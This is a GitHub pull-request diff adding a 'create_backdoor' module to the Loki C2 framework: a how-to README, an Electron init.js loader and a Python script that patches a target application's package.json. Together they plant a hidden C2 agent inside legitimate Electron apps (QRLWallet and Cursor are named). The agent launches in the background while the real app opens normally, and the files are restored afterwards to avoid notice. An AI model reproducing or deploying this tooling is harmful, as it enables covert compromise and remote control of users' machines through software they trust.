Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions create_backdoor/creating_backdoor.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
# Loki C2 - Electron Backdoor Automation

This module automates the process of embedding a backdoor into vulnerable Electron applications as well as running the loki C2 agent.

## How to use
1. Create the payload by using the `create_agent_payload.js`
2. Find vulnerable electron application using the [Guide](docs/vulnhunt/electronapps.md)
3. Get the `package.json` file of the application from the path `{ELECTRONAPP}\resources\app`
4. Move the payload generated(`app/`) to the `create_backdoor/` directory
5. Run the python program with
```shell
python3 main.py
```
- Enter the path of the package.json
- If required enter the name for main.js as there might be file conflict(if prompted)
- Zip the files if required(optional)
6. Copy all the files within the app and paste it into the `{ELECTRONAPP}\resources\app` which will replace the `package.json`

The program will also open at the same time and loki agent will be running in the background

### How this works
- With these changes when the executable of the electron app is executed will load in `init.js` on click / execution
- `init.js` reads in `package.json`
- `init.js` changes `"main":"init.js",` -> `"main":"main.js",`
- `main.js` is Loki
- `init.js` spawns and disowns a new `qrlwallet.exe` which points to Loki
- __Loki is spawned in the background__
- `init.js` reads in `package.json` again
- `init.js` changes `"main":"main.js",` -> `"main":"index.js",`
- `index.js"` is the real Electron application
- `init.js` spawns and disowns a new `qrlwallet.exe` which points to the real QRLWallet
- __Real Electron app is spawned, visible and operates as normal__
- When Electron app is exited by the user:
- `init.js` catches the exit
- `init.js` reads in `package.json` for a third time
- `init.js` changes `"main":"index.js",` -> `"main":"init.js",`
79 changes: 79 additions & 0 deletions create_backdoor/init.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
const { app, BrowserWindow } = require('electron');
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');

const projectRoot = __dirname;
const packageJsonPath = path.join(projectRoot, 'package.json');

async function getPackageMain() {
return JSON.parse(fs.readFileSync(packageJsonPath, 'utf-8'));
}

async function modifyPackageJsonAndRelaunch() {
try {
const initPackageJson = await getPackageMain();
const originalMain = initPackageJson.main;
console.log(`originalMain: ${originalMain}`);

initPackageJson.main = 'main.js';
console.log(`lokiMain: ${initPackageJson.main}`);

fs.writeFileSync(packageJsonPath, JSON.stringify(initPackageJson, null, 2));

console.log('Updated package.json. Relaunching Electron...');

const loki = spawn(
process.execPath,
['.'],
{
cwd: projectRoot,
detached: true,
stdio: 'inherit',
}
);

loki.unref();

await new Promise(resolve => setTimeout(resolve, 1800));

const lokiPackageJson = await getPackageMain();
lokiPackageJson.main = PATH_OF_MAIN_ORIGINAL;
lokiPackageJson.private = VALUE_OF_PRIVATE_ORIGINAL;
lokiPackageJson.type = VALUE_OF_TYPE_ORIGINAL;
console.log(`Changed packages.json "main" to "${lokiPackageJson.main}"`);
fs.writeFileSync(packageJsonPath, JSON.stringify(lokiPackageJson, null, 2));

console.log('Updated package.json. Relaunching Electron...');

// Launch real Cursor app
const cursor = spawn(
process.execPath,
['.'],
{
cwd: projectRoot,
stdio: 'inherit',
}
);

cursor.on('exit', async (code, signal) => {
console.log(`Cursor exited with code ${code}, signal ${signal}`);
try {
const resetPackageJson = await getPackageMain();
resetPackageJson.main = originalMain;
delete resetPackageJson.private;
delete resetPackageJson.type;
console.log(`Restored "main" to "${resetPackageJson.main}"`);
fs.writeFileSync(packageJsonPath, JSON.stringify(resetPackageJson, null, 2));
} catch (err) {
console.error('Failed to restore original package.json:', err);
}
app.quit();
});

} catch (error) {
console.log(`[!]Error : ${error.stack}`);
}
}

modifyPackageJsonAndRelaunch();
140 changes: 140 additions & 0 deletions create_backdoor/main.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,140 @@
import os
import sys
import json
import zipfile

init_file = "init.js"


def read_json_file(path):
try:
with open(path, 'r', encoding='utf-8') as file:
data = json.load(file)
return data
except Exception as e:
print("There is an issue reading JSON file:", e)
return None


def create_init_setup_json(original_json_path, js_file_path):
org_json = read_json_file(original_json_path)
if org_json is None:
print("No data to process.")
return

private_org = org_json.get("private")
type_org = org_json.get("type")
main_org = org_json.get("main")

loki_org = None
if main_org == 'main.js':
try:
os.rename('app/main.js', 'app/res.js')
print("[+] Renamed 'main.js' to 'res.js'")
except FileNotFoundError:
print("[-] main.js not found, cannot rename.")
loki_org = input("Enter a name for the loki main file as there is collision in the file name(format:fileName.js): ")

print(f"private: {private_org}, type: {type_org}, main: {main_org}, loki file:{loki_org}")

replacements = {
'lokiPackageJson.private': 'true' if private_org else 'false',
'lokiPackageJson.type': f"'{type_org}'" if isinstance(type_org, str) else 'module',
'lokiPackageJson.main': f"'{main_org}'" if main_org else "''",
'initPackageJson.main': f"'main.js'" if loki_org is None else f"'{loki_org}'"
}

replace_data_save_json(org_json)
replace_js_lines(js_file_path, replacements)


def replace_data_save_json(json_data):
json_data['main'] = "init.js"
json_data.pop('private', None)
json_data.pop('type', None)

try:
with open('app/package.json', 'w', encoding='utf-8') as f:
json.dump(json_data, f, indent=2)
print(f"[+] Saved updated JSON to: app/package.json")
except Exception as e:
print(f"[-] Failed to save JSON: {e}")


def replace_js_lines(js_file_path, replacements):
try:
with open(js_file_path, 'r', encoding='utf-8') as f:
lines = f.readlines()
except Exception as e:
print(f"[-] Failed to read JS file: {e}")
return

new_lines = []
for line in lines:
stripped = line.strip()
replaced = False
for var_name, new_val in replacements.items():
if stripped.startswith(f"{var_name} ="):
indent = line[:len(line) - len(line.lstrip())]
new_line = f"{indent}{var_name} = {new_val};\n"
new_lines.append(new_line)
print(f"Replaced line for '{var_name}': {new_line.strip()}")
replaced = True
break
if not replaced:
new_lines.append(line)

try:
with open('app/init.js', 'w', encoding='utf-8') as f:
f.writelines(new_lines)
print("[+] The init.js is stored in the app directory")
except Exception as e:
print(f"[-] Failed to write JS file: {e}")


def zip_folder(folder_path, output_zip):
try:
with zipfile.ZipFile(output_zip, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk(folder_path):
for file in files:
full_path = os.path.join(root, file)
arcname = os.path.relpath(full_path, start=folder_path)
zipf.write(full_path, arcname)
print(f"[+] Zipped '{folder_path}' to '{output_zip}'")
except Exception as e:
print(f"[-] Failed to zip folder: {e}")


if __name__ == "__main__":
print("[!!!!!] Don't edit the init.js in this folder")
print("[!] Have the loki output files (app/) in the current folder before starting the Script")
print("[!] It's advised to have the package.json file for the application you want to backdoor in the current directory")

if not os.path.isdir("app"):
print("[-] The 'app' folder is not found in the current directory. Please place it here and rerun.")
sys.exit(1)

answer = input("\n[?] Have you done the steps (Y/N): ").strip().lower()
if answer != 'y':
print("[-] Complete the above steps and run the script")
sys.exit(1)

json_path = input("Enter path to PACKAGE JSON file: ").strip()
if not os.path.isfile(json_path):
print("[-] The provided path does not exist or is not a file.")
sys.exit(1)

if not os.path.isfile(init_file):
print(f"[-] '{init_file}' not found in the current directory.")
sys.exit(1)

create_init_setup_json(json_path, init_file)

print("\n[+] The Setup is done. Copy all files inside the 'app/' folder to your ELECTRONAPP/resources/app/ folder.\n")

zip_answer = input("[?] Do you need to zip the folders (Y/n): ").strip().lower()
if zip_answer == 'y' or zip_answer == '':
zip_folder('app', 'app.zip')
print("[+] Zipped folder is stored at ./app.zip")
else:
print("[*] Skipped zipping.")